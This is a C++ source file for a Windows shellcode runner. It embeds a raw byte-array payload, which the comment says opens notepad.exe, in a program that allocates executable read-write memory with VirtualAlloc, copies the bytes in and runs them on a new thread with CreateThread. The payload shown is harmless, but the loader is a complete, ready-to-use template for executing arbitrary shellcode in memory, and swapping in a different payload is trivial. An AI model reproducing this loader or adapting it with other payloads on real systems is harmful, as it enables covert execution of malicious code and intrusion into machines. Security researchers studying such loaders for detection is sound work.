shellcode.cpp

#include <windows.h>
#include <iostream>

int main(int argc, char const *argv[])
{
//   Opens notepad.exe
    unsigned char shellcode[] = {
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
        "\x00\x53\xff\xd5\x6e\x6f\x74\x65\x70\x61\x64\x2e\x65\x78\x65"
        "\x00"};

    int shellcode_len = sizeof(shellcode);

    void *shellcode_address = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlMoveMemory(shellcode_address, shellcode, shellcode_len);
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcode_address, NULL, 0, NULL);
    Sleep(5000);

    return 0;
}